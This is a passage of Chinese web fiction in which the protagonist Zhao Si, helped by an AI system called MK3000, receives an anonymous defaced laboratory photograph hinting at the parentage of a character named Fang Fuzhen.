“暂时保持远距离观察。”赵四摇头,“现在介入会惊动环宇。我们需要更多证据,弄清楚这条暗线究竟延伸到了哪里——以及,背后究竟藏着多少人。” 弄清楚之后? 自然要选个合适的时机,看看是该清理门户,还是……物尽其用。 MK3000的声音在此时响起:【提醒,你有一封新邮件。】 这段时间下来,一人一统已形成某种默契,如果只是无关紧要的往来,MK3000不会特意提示。 赵四点开邮箱,发件人栏显示着赛琳娜的名字。 标题简洁到近乎异常:【一张照片】 正文内容也极为克制:【此邮件于今晚突然出现在我的私人邮箱,发信地址位于下城区,无法进一步追溯。邮件无署名、无标题、正文空白,仅在附件中发现以下照片。】 点开附件,一张经过裁剪翻拍的老旧合照映入眼帘。 背景似是某处实验室的正门口,穿着白大褂的研究员们松散地站在台阶上。 照片像素粗糙,边角泛黄,却仍能辨出人物轮廓与神情。 而这张影像已被粗暴的涂鸦覆盖。 一个用鲜红色画出的粗大圆圈,如孩童恶作剧般圈住了前排边缘的一男一女。其余所有人的脸上,都被画上了黑色的叉号。 红圈旁,歪歪扭扭的手写字体如稚拙涂鸦:【房律和斯特林,于152年冬日】 赵四的目光在“斯特林”这个名字上停顿片刻,随即向下移动——照片底部,还有一行更小、却更刺眼的附加批注: 【房馥臻,想知道你父母以前的事吗?】 赵四缓缓抬起头,脑海里无声地浮出一个问号。 谁父母?房馥臻的? 这个莫名其妙出现的人说房馥臻的父母是……房律和斯特林?